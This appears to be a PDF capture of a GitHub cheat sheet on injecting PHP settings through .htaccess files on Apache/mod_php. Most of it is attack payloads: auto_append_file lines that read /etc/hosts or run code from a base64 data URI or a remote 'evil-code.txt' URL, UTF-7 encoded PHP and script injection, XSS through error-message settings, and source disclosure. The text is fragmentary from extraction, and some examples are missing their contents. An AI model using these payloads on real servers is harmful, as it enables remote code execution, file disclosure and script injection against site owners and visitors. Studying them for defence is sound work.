PHP htaccess injection cheat sheet
PHP htaccess injection cheat sheet
Scenario Pages 2
Home
In a setup of Apache/mod_php an attacker is able to inject .htaccess (or php.ini or apache PHP htaccess injection cheat
configuration). The injection directory has AllowOverride Options set (or AllowOverride All, which is sheet
very common as well).
.htaccess:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
php_value auto_append_file /etc/hosts
index.php: (empty)
.htaccess:
.htaccess:
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://sektioneins.de/evil-code.txt
index.php: (empty)
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
.htaccess:
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+ADs
<?php
include('foo');
.htaccess:
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"
<?php
include('foo');
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
.htaccess:
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "x"
php_value docref_ext "<script>alert(1);</script>"
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
Order Allow,Deny
Allow from all
</FilesMatch>
index.phps:
<?php
test();
// comment
?>
text
.htaccess:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Example 3b: XSS via highlight_file() color
index.php:
<?php
highlight_file(__FILE__);
// comment
.htaccess:
In this example PHP correctly encodes HTML entities in log messages. The injection fails.
index.php:
<?php include('foo');
.htaccess:
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
Example 4b: failed PHP injection via error_log and
auto_prepend_file
index.php: (empty)
.htaccess:
index.php: (empty)
.htaccess:
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD
<?php some_code();
.htaccess:
php_flag engine 0
© 2018 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub API Training Shop Blog About
Create PDF in your applications with the Pdfcrowd HTML to PDF API PDFCROWD